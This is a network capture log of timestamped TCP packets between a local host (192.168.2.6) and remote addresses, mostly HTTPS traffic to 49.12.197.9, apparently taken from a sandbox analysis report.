Oct 2, 2024 17:17:59.691653013 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.691668987 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:59.693944931 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:59.693952084 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:00.392424107 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:00.392509937 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:00.392535925 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.392559052 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.392762899 CEST	65308	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.392782927 CEST	443	65308	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:00.474334955 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.474414110 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:00.474731922 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.475002050 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:00.475022078 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.136138916 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.136233091 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.137132883 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.137144089 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.139858961 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.139864922 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.139909029 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.139925003 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.465013981 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.465091944 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.465166092 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.465512991 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.465538979 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.877111912 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.877216101 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.877247095 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.877291918 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.877319098 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.877368927 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.878338099 CEST	65309	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:01.878359079 CEST	443	65309	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:01.918346882 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:18:02.130145073 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.130209923 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.130939960 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.130954027 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.133371115 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.133394003 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.584789038 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.584855080 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.584897041 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.585000992 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.585032940 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.585047007 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.585083961 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.615349054 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.615375042 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.615479946 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.615509987 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.615521908 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.615906000 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.682562113 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.682583094 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.682672024 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.682714939 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.683494091 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.712197065 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.712222099 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.712285995 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.712311983 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.712328911 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.712393999 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.757566929 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.757589102 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.757729053 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.757754087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.759488106 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.788315058 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.788338900 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.788439989 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.788460016 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.791496992 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.807583094 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.807601929 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.807693958 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.807710886 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.808027983 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.818967104 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.818983078 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.819071054 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.819089890 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.819477081 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.835720062 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.835736990 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.835829973 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.835855007 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.839502096 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.849879980 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.849904060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.850001097 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.850028992 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.851495981 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.867398024 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.867413998 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.867505074 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.867521048 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.867716074 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.882030010 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.882046938 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.882137060 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.882149935 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.883483887 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.898847103 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.898863077 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.898960114 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.898969889 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.899481058 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.912343025 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.912359953 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.912463903 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.912473917 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.915492058 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.922036886 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.922054052 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.922173023 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.922182083 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.923485994 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.931566000 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.931581974 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.931658030 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.931667089 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.931709051 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.939821959 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.939836979 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.939918995 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.939929008 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.940061092 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.946906090 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.946921110 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.946974039 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.946981907 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.947026014 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.955581903 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.955596924 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.955658913 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.955682993 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.955704927 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.955821037 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.966984034 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.967005968 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.967094898 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.967111111 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.967231035 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.981621981 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.981647015 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.981698990 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.981714964 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.981744051 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.981761932 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.997814894 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.997838020 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.997893095 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.997910023 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:02.997937918 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:02.997960091 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.009125948 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.009149075 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.009212017 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.009236097 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.009299040 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.018147945 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.018171072 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.018214941 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.018237114 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.018250942 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.018291950 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.026585102 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.026601076 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.026658058 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.026676893 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.030073881 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.033708096 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.033725023 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.033778906 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.033797979 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.034231901 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.041770935 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.041790009 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.041871071 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.041886091 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.042201996 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.053172112 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.053189993 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.053261995 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.053278923 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.053525925 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.087605000 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.087624073 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.087701082 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.087724924 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.087795019 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.093787909 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.093806028 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.093877077 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.093892097 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.093954086 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.103470087 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.103490114 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.103543043 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.103560925 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.103590965 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.103612900 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.112509966 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.112533092 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.112602949 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.112622976 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.112641096 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.112662077 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.121463060 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.121480942 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.121560097 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.121583939 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.121614933 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.121634007 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.129024982 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.129041910 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.129101992 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.129120111 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.129185915 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.145181894 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.145206928 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.145262957 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.145288944 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.145371914 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.160425901 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.160444021 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.160517931 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.160537958 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.160594940 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.160594940 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.178200960 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.178220034 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.178313017 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.178333998 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.178447962 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.193871975 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.193888903 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.193945885 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.193980932 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.193994999 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.194112062 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.195441961 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.195460081 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.195521116 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.195533991 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.195626020 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.203161001 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.203178883 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.203246117 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.203268051 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.203478098 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.211951971 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.211968899 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.212050915 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.212069988 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.212383986 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.224874020 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.224891901 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.224942923 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.224961996 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.225023031 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.234797001 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.234812975 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.234877110 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.234905005 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.234961987 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.250981092 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.251019955 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.251072884 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.251101017 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.251116991 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.251178026 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.270102024 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.270123959 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.270226955 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.270251036 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.271487951 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.286214113 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.286238909 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.286294937 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.286314011 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.286338091 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.286358118 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.290441990 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.290468931 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.290515900 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.290528059 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.290604115 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.294990063 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.295016050 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.295064926 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.295075893 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.295097113 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.295116901 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.302695036 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.302712917 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.302757025 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.302772999 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.302795887 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.302812099 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.313575983 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.313635111 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.313668966 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.313687086 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.313714981 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.313736916 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.324361086 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.324413061 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.324445009 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.324454069 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.324491024 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.324522972 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.343718052 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.343770981 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.343826056 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.343844891 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.343887091 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.344010115 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.360213995 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.360255957 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.360284090 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.360306025 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.360321045 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.360375881 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.377012014 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.377059937 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:03.377089024 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:03.377110004 CEST	443	65310	49.12.197.9	192.168.2.6
